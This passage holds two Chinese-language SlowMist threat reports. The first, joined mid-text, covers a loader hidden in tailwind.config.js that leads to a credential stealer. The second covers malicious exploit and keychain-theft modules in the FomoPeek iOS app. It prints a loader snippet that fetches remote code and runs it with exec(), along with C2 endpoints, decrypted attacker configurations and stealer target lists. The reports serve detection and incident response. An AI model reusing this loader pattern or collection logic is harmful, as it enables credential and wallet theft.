/0x/cls 拉回的是远控组件 clb，带 Socket.IO 指令通道，可以按操作者指定的地址取回 Python 并执行。负责获取并执行 clb 的加载器 cls 还包含失败回传逻辑：一旦出错，就把 os.hostname()、os.userInfo().username、os.type()、os.release() 拼成文本，POST 到 /verify-human/<标记>。
同一个响应里的 inz 字段，以及 /0x/js 单独提供的副本，是再感染加载器 inz。它用多层字符串编码、数组状态驱动的控制流扁平化和间接函数分发做混淆。静态展开后可以看到，它自带一套链上定位逻辑，用的是同一个以太坊发送方地址和同样的 to 字段到 IPv4 换算，并自行请求 /0x/cls 取回远控组件，取得后在当前进程或脱离的子进程里执行。远控组件 clb 另外具备把它写进宿主应用脚本的能力；宿主日后加载到这段代码，就会重新进入这条定位与加载流程。
/0x/ls 那一路取回 Python 加载组件 boot。静态还原显示，boot 会将部分环境变量上传到 /snv，并启动 Python 下载后续载荷。
url = f'{{GLOBAL_H}}/$/{id}' # id 固定为 '1'
Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')
exec(Request._code)
urlopen 失败时回退到系统 curl，两条路径拿到的文本都不做任何校验就交给 exec。
本轮请求这些路径时，服务器给出了不一致的回应。HEAD /$/1 返回 404，GET /$/1 返回 200 和 36,485 字节正文，Last-Modified 每次都等于该次请求的时刻。同样的方式请求 /d/python.zip、/d/python.7z、/d/7zr.exe 三个路径，全部返回 500。
跨平台凭据窃取器
本次取得的最后一阶段载荷经 Base64 解码和 zlib 解压后，是一份 89,149 字节的 Python 脚本。
该载荷面向执行账户可访问的敏感数据，既包含登录凭据的提取与解密逻辑，也会直接复制钱包、密码管理器和开发工具的数据文件。代码中的采集目标主要分为以下五类。
浏览器账户、会话与支付信息：覆盖 Chrome、Edge、Brave、Arc 等 Chromium 系浏览器与 Firefox，读取登录、Cookie 和 Web Data 数据库并尝试解密导出，部分 Chromium 路径还涉及支付卡数据，另含 Firefox 配置与扩展数据的复制逻辑。加密钱包及钱包应用数据：Exodus、Electrum、Atomic、Monero 等钱包文件，Solana 的 id.json，MetaMask、Phantom 等扩展存储，以及 Ledger Live、Trezor Suite 的桌面应用数据；按预设路径和扩展 ID 搜索并复制文件或目录。密码管理器数据：1Password、Bitwarden、NordPass、KeePass/KeePassXC、Dashlane、LastPass 等应用与扩展的本地数据库、缓存及配置；复制匹配的文件和目录，部分 SQLite 数据库连同日志文件一起收集。开发凭据与环境变量：Git 凭据文件、GitHub CLI 的 hosts.yml、VS Code 本地状态、GitHub Desktop 日志，以及当前进程环境变量；复制文件并把环境变量导出为 JSON 和文本，其中可能包含开发或构建环境注入的访问令牌。系统凭据存储：Windows 凭据管理器，以及 Linux Secret Service 默认集合中的条目；调用系统接口枚举并尝试读取当前账户可访问的凭据内容。
对浏览器数据，样本既会复制原始数据库，也包含调用 Windows DPAPI、macOS Keychain 及 Linux Secret Service／KWallet 获取解密材料、尝试还原敏感字段并导出明文的逻辑。实际能否成功，取决于所需密钥或解密接口是否可用、访问授权以及浏览器数据格式是否兼容。
样本还会搜索 /mnt/*/Users/*/AppData/... 等路径，尝试读取挂载的 Windows 用户目录。因此，采集范围可能延伸至当前账户能够访问的其他系统分区，实际可读取内容仍受挂载状态与文件权限限制。
采集结果被写入本地目录并打包。样本向 /u/e 上报主机信息和采集计数，并读取响应中的 Telegram 上传参数；随后通过 /u/f 上传归档，或在满足代码条件时调用 Telegram sendDocument。上传逻辑包含重试、主机切换和分片处理，成功后会尝试删除本地归档。
这份代码还带两处自我限制。响应码为 429 时直接退出。Blocked (BOT) 是另一处：样本在未命中其 WSL2 标识的 Linux 环境中，若系统凭据计数、扩展计数及 Firefox profile 计数均为零，就记录该标记并跳过后续主要采集与上传流程。走到这个判断之前，样本已经执行过环境变量导出、系统凭据枚举和部分目录扫描。
总结
已确认的是一整条从构建配置到凭据窃取器的投递链。入口是一段追加进 tailwind.config.js 的加载器，由前端构建触发。定位不依赖域名，读的是以太坊上一笔交易的 to 地址。第三阶段由三个组件构成：远控组件 clb、再感染加载器 inz，以及负责向 Python 延伸的加载组件 boot。终点是一份窃取器，覆盖三个平台，目标包括浏览器凭据、加密钱包、密码管理器与开发凭据。
风险落在运行前端构建的开发机、构建容器与 CI runner 上。只要在那台机器上执行过该项目的构建，加载器就有机会运行；而窃取器一旦执行，执行账户权限范围内可访问的浏览器凭据、钱包文件和 GitHub token 都可能被读取。
建议
1. 排查下游项目的 composer.lock，确认 visanduma/nova-two-factor 是否落在 dev-nova5 等恶意版本上，并对该包任一时点的源码快照按文件哈希核对 tailwind.config.js。
2. 在受影响的开发机与 CI runner 上检索构建期间的网络记录。项目构建时，Node 进程会向多个以太坊 RPC 发起 JSON-RPC 请求，也会向裸 IP 443 端口发送明文 HTTP，请求中还带 Sec-V 头。
3. 检查进程命令行中是否存在 node -e 且前缀含 global['_V']，以及由 py -c 启动的 Python 进程；直接求值的那一路不产生新进程，只查 node -e 会漏掉这一类执行。
4. 若确认构建曾成功执行，按主机失陷处理。在干净环境中轮换该机器上出现过的浏览器主密码、钱包助记词与私钥、GitHub CLI token 及其他版本控制凭据，并审计近期对这些账号的访问。
5. 保留现场的 composer.lock、本地 Git 对象与 reflog、构建时间、当时的 Node 版本以及原始 HTTP 请求响应，避免在排查完成前更新依赖或重建。
6. 网络侧阻断以本文 IOC 章节的 IP 为准，不要按 Telegram 域名无差别封禁，那是被借用的公开服务。同时不要止步于 IP：结合主机与账户排查，检查构建机上是否残留打包归档、环境变量导出文件与异常外连记录。
IOC
IP
166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38
钱包地址
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
恶意依赖
Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5
恶意文件
filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a
参考
https://socket.dev/blog/polinrider-github-packagist
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan
轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills
AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-Guard
DNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。

近期，慢雾安全团队收到多起用户资产被盗反馈。经核实，相关事件均涉及私钥泄露，其中部分受影响用户曾下载并使用 FomoPeek 1.1–1.2 版本 App。
我们与 OKX 安全团队联合分析确认，FomoPeek 1.1 与 1.2 植入了 apptrace 和 libapptracecore 两个恶意模块，具备远程配置、内核漏洞利用、沙盒逃逸、Keychain 解密及跨应用数据采集能力。
动态验证显示，应用会从 Bitbucket 获取加密的 C2 地址，并向 api-a95f0ed200f.assisaint[.]com 上报设备信息、接收远程配置。测试期间，C2 返回的 exploit_enabled 为 false。为验证后续执行链路，我们在隔离环境中通过 Hook 将客户端解密后的相关开关修改为 true，随后获取到针对 19 个钱包及笔记应用的采集清单，并捕获到 Apple 备忘录容器被打包上传的完整请求。
通过 Hook 客户端加密函数，我们解密了该通道的请求与响应。服务端返回的配置证明攻击者可通过服务端远程开启漏洞利用、调整执行周期，并控制其定期重复运行。
我们基于从 App Store 官方渠道获取的历史版本 IPA 完成逆向分析与样本溯源。结果显示，1.0 未发现上述恶意模块；1.1（build 105）于 2026 年 9 月 9 日首次植入；1.2（build 110）于 9 月 12 日上线，并沿用同一套代码；1.3（build 111）于 9 月 17 日将两个 framework 整体移除。因此，明确受影响的 App 版本为 1.1 和 1.2，相关恶意模块通过 App Store 官方版本分发，并非第三方重签名或侧载产物。
该框架在代码层面声明的系统版本覆盖范围为 iOS 12.0–18.7.2 以及 iOS 26.0–26.1，说明其攻击目标并非仅限于低版本系统或老旧设备。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
一、背景
1.1 从用户反馈到样本溯源
部分资产被盗用户在事件发生前曾安装并使用 FomoPeek。为核实其与私钥泄露事件之间的关联，我们从 App Store 官方渠道获取该应用的历史版本 IPA，并对包结构、加载依赖、签名归属及二进制内容进行了逐版本分析。
1.2 一款看起来完全正规的 App
从公开信息看，FomoPeek 具备一个正常项目应有的全部外观：
该 App 在 App Store 正常上架，有官网与官方社交账号，对外定位是“只读的链上监控与提醒工具”，不连接钱包、不要求助记词。因此，无论审核侧还是用户侧，都很难仅凭外观将其与内核漏洞利用联系起来。
1.3 传播路径：KOL 邀请码与真机停留 5–7 分钟
公开推广信息显示，FomoPeek 主要通过币圈 KOL 及相关社群传播。用户需使用邀请码从 App Store 下载并注册，设置“安全码”、添加监控钱包，并在真机上操作数分钟，经审核后可领取 5–7 USDT。部分推广内容还特别强调“一台 iPhone 仅有一次机会”“同设备多号无效”“必须使用真机并停留 5–7 分钟”。
这一要求值得关注。样本中集成了名为 CicutaVirosaStrategy 的利用策略，对应的公开利用 cicuta_virosa 单次运行需要两分钟以上。因此，“必须真机、云手机无效、需要停留数分钟”的推广规则，与内核利用链需要在真实设备上持续运行一段时间的技术特征吻合。不过，该推广规则只能作为辅助线索，不能单独用于判定其恶意目的。
9 月中旬，公开社交平台已出现用户警告，2026-09-16 17:11 UTC，X 用户金灰(@GXingPing) 发帖称因下载 FomoPeek 软件出现被盗事件，并告诫尽快卸载软件。
早在用户集中反馈资产被盗之前，与此类事件相关的 iOS 数据提取能力便已被公开预警。2026 年 3 月 25 日，慢雾首席信息安全官 @im23pds 发布安全提醒：DarkSword 攻击工具已经泄露，可通过 HTTP 接口从 iOS 设备中提取并回传取证级数据。攻击者还可能结合社工或水坑攻击，诱导目标访问已被植入恶意代码的网站或页面，进而窃取 iPhone、iPad 中的数据并上传至攻击者控制的服务器。
1.4 主体与时间线异常
公开资料显示，Apple 侧登记的 Seller 为 Porter Manufacturing, L.L.C.，开发者显示名为 WhaleScanv，其名下目前仅发现 FomoPeek 一款 App。
由于公开信息不足以确认该 Seller 背后的实际运营主体，本文不对其身份及与同名企业之间的关系作进一步归因。但从域名注册、隐私政策、应用发布及恶意模块植入时间来看，相关 Web 身份与发行基础设施均在较短时间内集中建立。
以下时间线值得警惕：
从域名注册到 App 上架仅约 10 天，且隐私政策“生效日期”早于域名注册两天。整个 Web 身份与发行链路是 8 月底到 9 月初集中搭建的。
1.5 隐私标签与自身隐私政策的矛盾
App Store 页面的“App 隐私”(App Privacy) 区块显示为“未收集数据”，但 FomoPeek 官网隐私政策明确列出其处理的数据类型，包括：X-Device-Id（设备标识）、APNs 推送令牌、邮箱、密码（bcrypt 哈希）、昵称、二次验证安全码（bcrypt 哈希），以及用户添加的公开钱包地址、标签、阈值与事件偏好。
即使不考虑内核漏洞利用，面向 Apple 申报的“未收集数据”与其隐私政策中列明的收集范围也已互相矛盾。
二、版本时间线与投毒范围
我们在 1.1 与 1.2 的包内发现两个与业务功能无关的 framework：
版本比对显示，1.1 与 1.2 携带的是同一套恶意模块，代码段与数据段一致；1.3 则将两个 framework 整体移除，IPA 体积由 10.47 MB 降至 1.81 MB。
主程序及两个 framework 均使用相同的 Apple 签名主体，原始 IPA 中还保留 FairPlay 加密元数据，说明恶意模块属于开发者提交至 App Store 的正式包内容，而非第三方重签名或侧载产物。
三、恶意模块分析
3.1 两个与业务无关的 Framework
两个模块分工明确：apptrace 负责 C2 通信，libapptracecore 负责内核攻击与数据采集。
libapptracecore 的命名空间分布说明其性质：它不是埋点、统计或反调试组件，而是一套从利用(exploit) 到内核访问(kernel)、权限与沙盒(permissions)、钥匙串(keychain)、采集与传输(acquisition) 的完整工具链。apptrace 承担与外部控制端的全部通信，两者组合成“通信 + 攻击”的植入体。
3.2 启动即加载，主程序不含调用痕迹
主程序的 Mach-O 加载命令以 LC_LOAD_DYLIB（非 weak）引用两个 framework：
@rpath/apptrace.framework/apptrace
@rpath/libapptracecore.framework/libapptracecore
这意味着无论业务代码是否调用，二者都会在 App 启动时被 dyld 加载进同一个进程。
另一方面，主程序侧确实不含显式调用痕迹：符号表中 1,048 个导入符号全部来自系统库，ObjC 类引用仅包含系统类，除上述两条加载路径外找不到框架的类名或方法名；框架自身也没有 ObjC 的 +load / +initialize，对 34 个 C++ 静态初始化函数（__mod_init_func）做三层调用追踪，也未触达利用与采集代码。
因此静态层面可确认：模块随 App 启动被强制加载进进程，且能力代码完整；实际触发时机与执行证据需结合真机动态验证。
3.3 内核攻击框架：8 种利用方案与版本自动匹配
libapptracecore 实现了 8 个利用策略类，均继承自 exploit::IExploitStrategy / KernelMachTaskExploitStrategyBase，并为每个策略内置"是否支持当前设备"的判定：
8 种策略的版本窗口首尾相接，代码声明的覆盖范围为 iOS 12.0–18.7.2 以及 iOS 26.0–26.1。框架会根据系统版本和设备型号依次判断策略是否可用，并区分利用成功、利用失败及设备不受支持三种结果。
框架内置机型表还包含 iPhone16,1/16,2、iPhone17,1–17,5、iPad15,3–15,6、iPad16,1–16,6 等 2023–2025 年机型，说明适配目标并非老旧设备。
3.4 内核读写与权限提升
内核任务端口：Creating safe tfp0、testing new tfp0 port、Updated port for tfp0!、failed to allocate new tfp0 port内核读写原语：kread (found kread_sem_index / error on kread)、kwrite、mach_vm_read_overwrite / mach_vm_write / mach_vm_allocate利用面：IOSurfaceRootUserClient、IOSurfaceClient、IOAccelCommandQueue2、IOAccelSharedUserClient2保护绕过：HSP4 patch exists.、Applied HSP4 patch.（PPL 绕过）结构偏移来源：kernel::OffsetProvideriOS12 / 13 / 14 / 15 / 15_2 静态表，以及针对 iOS 16 及以上的运行时偏移计算分支（内部对 16、18、26 有专门处理）提权：permissions::KernelUcredStealer、permissions::RORestrictedUcredPatcher、permissions::RO2RestrictedUcredPatcher（含 WeirdCsTrick / WeirdCredTrick）
3.5 沙盒逃逸与钥匙串解密
沙盒部分由 permissions::SandboxExtPatcher 完成, 目标权限串为 com.apple.app-sandbox.read-write。突破沙盒后, 进程即可读取本应用容器之外的路径。
钥匙串部分是整套框架中危害最直接的一环：
系统服务交互：AppleKeyStore 客户端初始化 (Initialized AppleKeyStore client、Device failed to start AppleKeyStore client with err ...)、keyBag、pkcs8ShroudedKeyBag数据库解析：keychain::KeychainV3、KeychainV9、KeychainV11，对应不同 iOS 版本的钥匙串数据库格式序列化结构：SecDbKeychainSerializedAKSWrappedKey、SecDbKeychainSerializedItemV7、SecDbKeychainSerializedMetadata、SecDbKeychainSerializedSecretData解密与导出：keychain::GetRawKeychain、parsing::DecryptSFA、keychain::AgentKeyUnwrapper、acquisition::server::RawKeychainDecryptDataWriter
3.6 C2 通道 Bitbucket 死信箱 加密上报
在隔离设备（伪装为 iPhone 16 / iOS 26.1）上运行受影响版本后，我们抓到两条与业务完全无关的请求，并完整解密了其内容。
① 死信箱：从公开代码托管站点取加密后的 C2 地址列表
GET hxxps://bitbucket[.]org/discordseven/text/raw/main/xxhVOn
该仓库(bitbucket[.]org/discordseven/text) 为公开仓库，README 与 .gitignore 均为 Bitbucket 默认模板，仅用于伪装；仓库创建于 2026-08-04，提交者邮箱为 discdseven@outlook.com。其中的 xxhVOn 文件是加密后的 C2 地址列表：
文件为 48 字节的 AES-CBC 密文客户端在启动后会用内嵌密钥将其解密，得到 C2 地址列表 ["hxxps://api-a95f0ed200f.assisaint[.]com"] 该文件历史上被修改过三次：2026-08-04（64 字节）、2026-08-06（48 字节）、2026-09-13（48 字节，即 1.2 发布次日）。
攻击者只要编辑这一个公开文件，就能更换全部受害端的 C2 地址，而无需发布新版 App。
② C2 上报：加密的设备信息与远程指令
该 C2 域名 assisaint[.]com 注册于 2026-09-12（正是 1.2 上架当天），注册商为 Cloudflare，并以前置方式隐藏源站；CT 日志中还可看到另一个同域子域 bp-a95010ced.assisaint[.]com（TrustAsia 签发的 90 天证书）。
③ 解密结果
客户端使用 CommonCrypto 的 CCCrypt（alg = kCCAlgorithmAES(0)、options = kCCOptionPKCS7Padding(1)，即 AES-CBC + PKCS7）对报文体加密。通过 hook 该函数，我们取得本会话密钥并解出双向明文：
请求体 params 解密后为设备信息上报：
{"app_version":"1.0.5","app_pac":"com.fomopeek.app","app_uuid":"7A5475A0007346BCB6EDB30E43315999","timestamp":1789806193645,"machine":"iPhone 16","ios_version":"26.1"}
响应 data 解密后为远程指令：
{"version":"1.0.0","min_close_exploit_version":"","exploit_enabled":false,"exploit_repeat_enabled":false,"exploit_test":false,"app_log_report_enabled":false,"exploit_repeat_interval":86400}
动态验证确认：死信箱与 C2 请求全部由 apptrace 发出（multipart boundary 前缀为 ---AppTraceBoundary），而利用策略、内核读写、钥匙串解密与 40000 端口服务均位于 libapptracecore 中。
需要说明的是，本次运行及 2026-09-19 08:23 的抓包中，exploit_enabled 均为 false；但该开关及其周期参数的存在，说明攻击者可通过服务端响应随时开启利用、调整执行周期或强制关闭，而无需更新 App。同时，测试虚拟设备自报画像（iPhone 16 / iOS 26.1）恰好落在 3.3 节所述 DarkSwordStrategy（16.7–18.7.2 与 26.0–26.1）的覆盖区间内。
3.7 远程采集目标 19 个钱包与笔记应用
为验证"开关打开后会发生什么"，我们通过 Frida 在解密回调中把响应里的 exploit_enabled / exploit_repeat_enabled / exploit_test 就地改写为 true，随后观察客户端行为。
客户端在下一次取回配置时，除了开关状态，还收到了一份采集目标清单（`collect_configs`）——这直接暴露了本次行动的意图：
C2 下发的 collect_configs 共包含 19 个采集目标，几乎全部为钱包类 App，涉及 Gate Web3、SafePal、OKX Wallet、MetaMask、Trust Wallet、imToken、TokenPocket、TronLink 等。
采集路径集中在 keystore、SQLite、MMKV、React Native 本地存储及 Keychain access group，并包含整个 Apple 备忘录容器 group.com.apple.notes。这些配置表明攻击目标是钱包密钥材料及用户保存的其他敏感信息，且采集范围可由服务端动态调整。
至此，恶意模块的攻击能力与 C2 下发的定向采集目标形成完整证据链。
3.8 外传链路：POST /api/upload/zip
触发采集后，我们捕获到发送至 /api/upload/zip 的 multipart 请求。其中，params 字段为 AES-CBC 加密的文件元数据，file 字段则是未额外加密的 ZIP 归档。
解密后的元数据显示，上传目标为 group.com.apple.notes，归档大小为 46,092 字节，并携带文件 MD5、设备 UUID、落地路径及时间戳。还原出的 ZIP 包含 NoteStore.sqlite、WAL 文件及相关配置文件，与 Apple 备忘录容器结构一致。
由此可以确认：样本会按照 C2 下发的清单读取目标容器，将结果打包暂存于自身沙盒，再上传至 /api/upload/zip。
我们从这份报文中还原出了归档本体，归档内容即 Apple 备忘录容器：
group.com.apple.notes/NoteStore.sqlite 307,200
group.com.apple.notes/NoteStore.sqlite-shm 32,768
group.com.apple.notes/.com.apple.mobile_container_manager.metadata.plist 577
group.com.apple.notes/Library/Preferences/group.com.apple.notes.plist 127
group.com.apple.notes/NoteStore.sqlite-wal / com.apple.notes.databaseopen.lock
至此，我们在隔离测试环境中验证了目标容器读取、文件打包及数据上传流程。结合框架中的内核利用、权限提升与沙盒逃逸代码，可以还原其设计链路：远程配置下发 → 内核利用与权限提升 → 目标数据采集 → 打包上传。
3.9 其余 C2 端点：应用清点与执行回传
除配置下发与数据外传端点外，我们还确认两个配套端点，共同构成“侦察 → 下指令 → 采集 → 回传”的完整 C2 协议。
① /api/device/apps：上报已安装应用清单
该请求的 params 段用同一把 KEY/IV 解密后，是设备上全部 135 个应用的 bundle ID 列表：
{"app_uuid":"7A5475A0007346BCB6EDB30E43315999",
"apps"：["com.apple.Home.HomeControlService","com.apple.CarCamera","com.debank.rabby-mobile-regression","com.apple.ScreenSharingViewService","com.okx.wallet", … 共 135 项 …]}
这份清单的作用很直接：服务端据此判断该设备装了哪些钱包，再决定下发哪一份 collect_configs。
② /api/device/report：执行结果回传与后续指令
③ 已确认的 C2 端点汇总
3.10 C2 域名的注册与部署特征
对 C2 域名本身的基础设施调查结论如下：
该域名注册时间较新，并采用注册信息隐私保护、Cloudflare 反向代理及快速证书部署，符合短期攻击基础设施的常见特征。域名注册日与 FomoPeek 1.2 上架日相同，可作为时间关联线索，但上述公开信息不足以判断源站位置或攻击者归属。
核对该域名的公开基础设施时，可以看到其中一个子域承载一套名为 Collect 的管理界面，其前端路由出现与设备、应用和密钥相关的条目（/machineApp、/machineApp/needBlast、/machineApp/walletAddress、/machineAppKeys、/machineStat、/mnemonic、/partner/account、/partner/home、/partner/machine/detail 等）：
这说明该域名承载的并非普通业务 API，而是与设备采集、密钥相关数据配套的运营侧界面；其具体功能与字段本文不展开。
四、攻击链复盘
模块加载：App 启动时，apptrace 与 libapptracecore 被强制加载；获取 C2：从 Bitbucket 获取密文并解密得到 C2 地址；设备侦察：上报设备信息及已安装应用清单；配置下发：获取漏洞利用开关、执行周期及采集目标；利用与提权：选择匹配的内核利用策略，获得越权读取能力并突破沙盒；采集与外传：读取目标 App 数据及 Keychain，打包后上传至 /api/upload/zip。
五、MistTrack 链上分析
通过对已收集到的链上数据进行追踪分析，本次事件中攻击者的盗取资金涉及多条链（TRON、Ethereum 及其他 EVM 兼容链等）。本小节只对主要的黑客地址(0x6d37f2C5e8F8546b648D317295565dA95975f4BB) 进行分析。
据 MistTrack 数据显示，该地址总收入为 579,984.34 USDT，自 9 月 15 日起开始活跃。
其资金活动覆盖 Ethereum、BNB Chain、Arbitrum 等多条链，截至发文时仍有资金持续转入。当前余额如下：
该地址的大部分资金被汇集至 Ethereum 网络，其余链上的资金则主要通过 OKX DEX、Meson.fi、Relay.link、Mayan Finance 等跨链/兑换平台转换为 USDT 后跨链至 Ethereum。
随后，该地址将汇集的 USDT 分批转出至以下下游地址：
（1）0x0A571f0Fa18D7EB9abcc1e98a0Bb9bC15534BbAe
该地址当前余额 24,352 USDT。值得注意的是，该地址早在 5 月 23 日就已开始活跃，早于本次事件的主要攻击时间窗口。
与 FixedFloat、cce.cash、OKX 等存在交互：
此外，有一笔较大金额 111,458 USDT 转出到地址 0x4c73d7e8ef0e61129403e219debc597fd43aa0ec 再转入 USDT0: UsdtOFT 进行跨链。
跨链接收地址为 TRON 地址 TF2hm96RC2Aqon9FeQjGidofoC2J1zM8v1。该地址总接收 2,123,570.8821 USDT，后续经多个地址分散并转入疑似 OTC 平台。
（2）0x0DF6aC2e2856114228756947d1b1d9Ff63eA3e68
该地址总接收159,000 USDT：
资金全部转入 FixedFloat：
（3）0x2d53113c89c83c520c17b8bbcdc22aa0518a38be
该地址总接收 47,028 USDT：
其中 10,000 USDT 转入 KuCoin，剩余 37,028 USDT 转入 FixedFloat：
（4）0x111faeb95cd0786593433bcc762dc5c1debf541c
该地址总接收 227,154 USDT：
215,000 USDT 转入 FixedFloat，10,000 USDT 转入 cce.cash：
剩余 2,154 USDT 通过 Bridgers Swap 兑换为 6,432.54 TRX 并跨链到 TRON 地址TUi5qPcjDuqbmwfunMbzwkpLNhaqRpqcJg，大部分 TRX 最终转入 FixedFloat。值得注意的是，地址 TUi5q 的资金来源中相当大的部分来自于 cce.cash：
我们将持续关注上述地址的资金动态。如果您曾安装过 FomoPeek 且近期遭遇资产被盗，可将被盗地址和黑客地址提交至以下链接：https://aml.slowmist.com/cn/recovery-funds.html。
六、威胁指标 IOC
URL :
hxxps://api-a95f0ed200f.assisaint.com/api/device/config
hxxps://bp-a95010ced.assisaint.com
hxxps://admin-e433360cb0e.assisaint.com
hxxps://customer-c1cb36b5.assisaint.com
hxxps://bitbucket.org/discordseven/text/raw/main/xxhVOn
Domain:
assisaint[.]com
api-a95f0ed200f[.]assisaint.com
bp-a95010ced[.]assisaint.com
admin-e433360cb0e[.]assisaint.com
customer-c1cb36b5[.]assisaint.com
File:
FomoPeek-1.1-891048157.ipa
MD5: fce99b45709a6f8e241175be0c121874
SHA-256: d6b6407b4c97697fdde174cbc190b6433315470f58df6b483ac5b806f35e20f9
FomoPeek-1.1.ipa
MD5: f5bdaed5953033ac8c3256f2933b9a81
SHA-256: ca5dfd0fa7a16f26f5b369516f5b8bcac1d5a6fe01a8511a5ededf4cd2c0d042
FomoPeek-1.2.ipa
MD5: 38a8a5ddecd9a5626b42dae593ac28f6
SHA-256: 48f9d5623af1518e774d57c41e6e0b915a7e9f896909bf596a9b27de5022911e
apptrace
MD5: 645b9053390246995c2cb7a9b9eddf40
SHA-256: 764663ff5c8bd1bdf33bbd1ec352ce262a4fe79695456f2612dc27c35840ab9d
libapptracecore
MD5: 03d67a68b5e8507dbbe36f2a4b41aca0
SHA-256: f0b3be01e8597f7f35ca36c009f68e7004527fe4a01d4349a01e211ca16de1e2
七、排查与处置建议
7.1 用户侧
如果您的设备曾安装过 FomoPeek 1.1 或 1.2 版本，请注意：卸载或升级到 1.3 并不等于设备已经安全，该框架一旦被成功利用，其读取到的数据已经离开设备。
1. 立即停止使用该应用，且不要重新安装；
2. 在未安装过该应用的安全设备上新建钱包、生成全新助记词，并转移资产；旧助记词与私钥一律视为已泄露，禁止复用；
3. 逐一排查各链账户的异常转账与授权记录，撤销不再使用的授权；
4. 更换在该设备上使用过的密码与登录凭证，开启二次验证；
5. 检查设备是否安装过配置描述文件 / MDM、是否侧载或越狱；必要时抹机重装系统；
6. 保留设备与相关证据（App 版本、安装时间、异常交易记录），以便进一步核查；
7. 如发现异常资产活动，请立即联系相关平台官方客服。
7.2 平台与生态侧
1. 将文件哈希、类名、关键字符串与网络特征纳入样本库、EDR 与流量检测规则；
2. 对安装过 FomoPeek 1.1 或 1.2 的用户下发定向风险提示，并按凭据泄露事件处置；
3. 阻断 assisaint[.]com 及其子域、bitbucket[.]org/discordseven/*；
4. 从 2026 年 9 月 9 日起检索 Bitbucket 死信箱访问记录，从 9 月 12 日起检索 *.assisaint[.]com 相关 DNS、代理、EDR、VPN 与移动设备日志。若日志保存周期允许，可进一步回溯至 8 月 4 日，排查该 Bitbucket 仓库及历史 C2 配置的访问情况。
八、总结
通过静态分析与动态验证，我们确认 FomoPeek 1.1 与 1.2 植入了 `apptrace` 和 `libapptracecore` 两个恶意模块，具备远程配置、内核漏洞利用、沙盒逃逸、Keychain 解密及跨应用数据采集能力。
在隔离环境中触发相关功能后，样本从 C2 获取了针对 19 个钱包及笔记应用的采集清单，并将 Apple 备忘录容器打包上传至 `/api/upload/zip`，验证了从远程配置、越权读取到数据外传的完整技术链路。
FomoPeek 1.0 中未发现上述模块，1.1 首次植入，1.2 继续沿用，1.3 已整体移除。曾使用 1.1 或 1.2 的用户，仅卸载或升级应用无法排除历史泄露风险，建议将相关助记词、私钥及敏感凭据按已泄露处置。
常见问题 Q&A
Q1：这次事件是什么时候发生的？
目前可以明确确认的风险时间窗口是 2026 年 9 月 9 日至 9 月 17 日。
FomoPeek 1.0 于 8 月 29 日首次上架，当时未发现相关恶意模块；9 月 9 日发布的 1.1 版本首次植入 apptrace 和 libapptracecore，9 月 12 日发布的 1.2 版本继续携带同一套恶意代码；直到 9 月 17 日发布 1.3 版本后，这两个 Framework 才被整体移除。
9 月 16 日，公开社交平台已经出现用户因安装 FomoPeek 后发生资产被盗的预警。由于并非所有受害者的安装时间和资产被盗时间都能够完整获取，因此目前无法据此确定最早一次实际攻击发生的具体时间。
Q2：哪些版本受到影响？
从 App 版本来看，明确受到影响的是 FomoPeek 1.1 和 1.2。
1.0：未发现恶意模块；1.1：首次植入恶意模块；1.2：继续携带同一套恶意模块；1.3：相关 Framework 已被整体移除。
从攻击框架代码声明的 iOS 覆盖范围来看，其内置 8 套利用策略，覆盖 iOS 12.0–18.7.2，以及 iOS 26.0–26.1，并会根据设备型号和系统版本选择对应的利用策略。
需要注意的是，FomoPeek 在 App Store 页面标注的系统要求为 iOS 16.0+，因此“攻击框架具备的理论覆盖范围”和“FomoPeek 实际可以通过 App Store 安装到的设备范围”不是完全相同的概念。
Q3：攻击可能通过哪些途径发生？
在本次 FomoPeek 事件中，已经确认的传播入口就是 App Store 官方版本本身，并非第三方重签名、企业签名或侧载安装包。恶意 Framework 与主程序使用相同的 Apple 签名主体，原始 IPA 中也保留了 FairPlay 加密元数据。
FomoPeek 主要通过币圈 KOL、社群、邀请码以及少量 USDT 奖励吸引用户安装，并要求用户使用真机运行数分钟。
但从攻击技术本身来看，这类 iOS 内核利用并不一定只能藏在某一个 App 中。类似能力理论上还可以通过：恶意或被投毒的 App、供应链组件、钓鱼页面、被入侵的网站，以及针对特定人群布置的水坑页面等入口触发。
本文此前提到的 DarkSword 相关公开预警中，也曾指出攻击者可能结合社工或水坑攻击，诱导目标访问被植入恶意代码的网站或页面，进一步窃取 iPhone、iPad 中的数据。
因此，不要简单把“来自 App Store”或“来自平时经常访问的网站”理解为绝对安全。
Q4：什么是“水坑攻击”？
“水坑攻击”(Watering Hole Attack) 的思路并不是直接去寻找每一个受害者，而是先找到目标人群经常访问、并且比较信任的地方。
例如攻击者想针对某一批加密货币从业者，可能先分析这些人经常访问哪些行业网站、工具站、社区、项目官网或活动页面，然后寻找其中可以入侵或植入恶意代码的目标。
一旦这些正常网站被控制，受害者只是像平时一样访问网站，就可能进入攻击链。
